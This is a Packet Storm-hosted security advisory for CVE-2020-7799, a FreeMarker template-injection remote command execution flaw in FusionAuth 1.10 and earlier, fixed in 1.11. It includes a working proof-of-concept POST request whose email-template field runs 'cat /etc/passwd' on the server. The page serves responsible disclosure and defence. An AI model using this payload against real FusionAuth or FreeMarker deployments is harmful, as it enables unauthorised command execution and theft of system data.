exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

FusionAuth 1.10 Remote Command Execution

FusionAuth 1.10 Remote Command Execution
Posted Jan 27, 2020
Authored by Gianluca Baldi

FusionAuth versions 1.10 and below suffer from a remote command execution vulnerability. An authenticated attacker with enough privileges to access the template editing functions (either site templates or e-mail templates) in the FusionAuth dashboard can execute commands on the underlying operating system using the Apache FreeMarker Expression language.

tags | exploit, remote
advisories | CVE-2020-7799
SHA-256 | 876ccd82d5bf49d3dd83506c810a93433c3fc4fbba012da2f79d8be9687745f0

FusionAuth 1.10 Remote Command Execution

Change Mirror Download
@Mediaservice.net Security Advisory #2020-03 (last updated on 2020-01-27)

Title: FusionAuth command execution via Apache Freemarker Template
Application: FusionAuth 1.10 and lower
Platforms: Tested on Windows 10 and Ubuntu 19.10
Description: An authenticated attacker with enough privileges to access the
template editing functions (either site templates or e-mail
templates) in the FusionAuth dashboard can execute commands on
the underlying operating system using the Apache FreeMarker
Expression language.
Author: Gianluca Baldi <gianluca.baldi@mediaservice.net>
Vendor Status: https://fusionauth.io/contact - notified on 2019-10-24
CVE Name: CVE-2020-7799
References: https://lab.mediaservice.net/advisory/2020-03-fusionauth.txt
https://fusionauth.io/
https://freemarker.apache.org/
https://www.mediaservice.net/

1. Abstract.

FusionAuth is a modern Access Management open source application, that can be
integrated with multiple technologies and platforms. FusionAuth can be
configured and customized in many ways from the administration dashboard and to
do so privileged acounts can modify templates.

FusionAuth Templates are in fact Apache Freemarker Templates, that are
interpreted by the Apache Freemarker Templates Engine. Since it is possible to
execute system commands using the Apache Freemarker Expression language,
template editing features can be abused to execute remote commands effectively,
using the "freemarker.template.utility.Execute" object.

2. Affected Platforms.

This vulnerability is platform-independent.

3. Fix.

This vulnerability has been fixed in version 1.11 of FusionAuth.

4. Proof of Concept.

Example POST request (Home -> Settings -> Email Templates -> Preview):

POST /ajax/email/template/preview HTTP/1.1
Host: 192.168.0.3:9011
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 796
DNT: 1
Connection: close
Referer: http://192.168.0.3:9011/admin/email/template/edit/2c2591f5-2136-4a77-8b5a-1f5e9fb0e25b
Cookie: JSESSIONID=FA9DB3CBABA6B37E5336AE4B96001807;

primeCSRFToken=kRC228UjAA4ohN_E9PW9kz0HpTlxUDCB_HVrDhBUfWU&emailTemplateId=2c2591f5-2136-4a77-8b5a-1f5e9fb0e25b&emailTemplate.name=COPPA%20Notice&emailTemplate.defaultSubject=Notice%20of%20your%20consent&emailTemplate.fromEmail=no-reply%40fusionauth.io&emailTemplate.defaultFromName=FusionAuth&emailTemplate.defaultTextTemplate=You%20recently%20granted%20your%20child%20consent%20in%20our%20system.%20This%20email%20is%20to%20notify%20you%20of%20this%20consent.%20If%20you%20did%20not%20grant%20this%20consent%20or%20wish%20to%20revoke%20this%20consent%2C%20click%20the%20link%20below%3A%0A%0Ahttp%3A%2F%2Fexample.com%2Fconsent%2Fmanage%0A%0A-%20FusionAuth%20Admin&emailTemplate.defaultHtmlTemplate=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}}

5. Disclosure Timeline

2019-10-23 - First contact (issue in FusionAuth 1.9.1).
2019-10-24 - First PoC sent to the vendor.
2019-10-25 - Vendor investigates the issue.
2019-10-28 - Issue is confirmed and a disclosure date is agreed upon (2020-01-23).
2019-10-29 - Vendor silently releases a fixed version (FusionAauth 1.11.0).
2020-01-20 - Asked for updates on issue.
2020-01-20 - Vendor states that the issue has been fixed already.
2020-01-22 - Assigned CVE-2020-7799.
2019-02-27 - Advisory published.

Copyright (c) 2020 Gianluca Baldi and @Mediaservice.net. All rights reserved.
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close